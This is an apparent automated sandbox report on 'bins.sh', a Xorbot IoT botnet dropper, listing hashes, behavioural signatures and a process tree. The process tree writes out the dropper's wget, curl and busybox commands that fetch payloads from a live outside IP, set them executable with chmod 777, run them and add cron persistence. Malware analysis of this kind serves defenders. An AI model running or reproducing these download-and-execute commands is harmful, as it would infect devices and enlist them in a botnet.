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Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/02/2025, 23:08

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5cae212a65109f1a0f1218d70286d4b0

  • SHA1

    1f0fb32f13a4e4ad9463a27c76e9b76591a92408

  • SHA256

    af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c

  • SHA512

    d3ea3fdfdc55fb8881318fd786c2bc94d83051e51f345bb9bbe6523215acd0367cc3e26a840de561b8aae9e3915c6f2c2d2b2d49b73a6e04f66eb14293c17ffe

  • SSDEEP

    192:QyeOaCMsvmyHcwni6q4YBC+7cR9aP3Ty/IDq4YBC+vER9aP3asDNsTMsvmyzcwnQ:QyeOaCMsvmyHcwni6q4YBC+IR9aP3TqP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2046) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1512
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1513
      • /usr/bin/wget
        wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:1514
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:1518
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Writes file to tmp directory
        PID:1519
      • /bin/chmod
        chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • File and Directory Permissions Modification
        PID:1520
      • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
          PID:1521
        • /bin/rm
          rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
          2⤵
            PID:1523
          • /usr/bin/wget
            wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:1524
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:1525
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /bin/chmod
            chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • File and Directory Permissions Modification
            PID:1527
          • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
              PID:1528
            • /bin/rm
              rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
              2⤵
                PID:1530
              • /usr/bin/wget
                wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:1531
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:1532
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Writes file to tmp directory
                PID:1533
              • /bin/chmod
                chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • File and Directory Permissions Modification
                PID:1534
              • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                  PID:1535
                • /bin/rm
                  rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                  2⤵
                    PID:1537
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:1538
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:1539
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Writes file to tmp directory
                    PID:1540
                  • /bin/chmod
                    chmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1541
                  • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    ./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:1542
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1544
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1545
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1546
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1547
                        • /bin/rm
                          rm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                          2⤵
                            PID:1549
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                              PID:1552

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /var/spool/cron/crontabs/tmp.QwqtWZ

                            Filesize

                            210B

                            MD5

                            fbb49c1cc3780b1adb0c2fc4e522da3e

                            SHA1

                            8ae8afacd3aab3af0d57e32ae43e56ca86eb4908

                            SHA256

                            a1cbe237338317994393a32504dd1433f3251deb432a0c6cc46eff6c20589fb5

                            SHA512

                            9f42cdaaae5469ba060c208594c728ad6dd411e54212b6c9bad94b366add5e7be584ba89250af19069d8d4595ffa4872825d5c74b36cf7ec19b96b217afee66f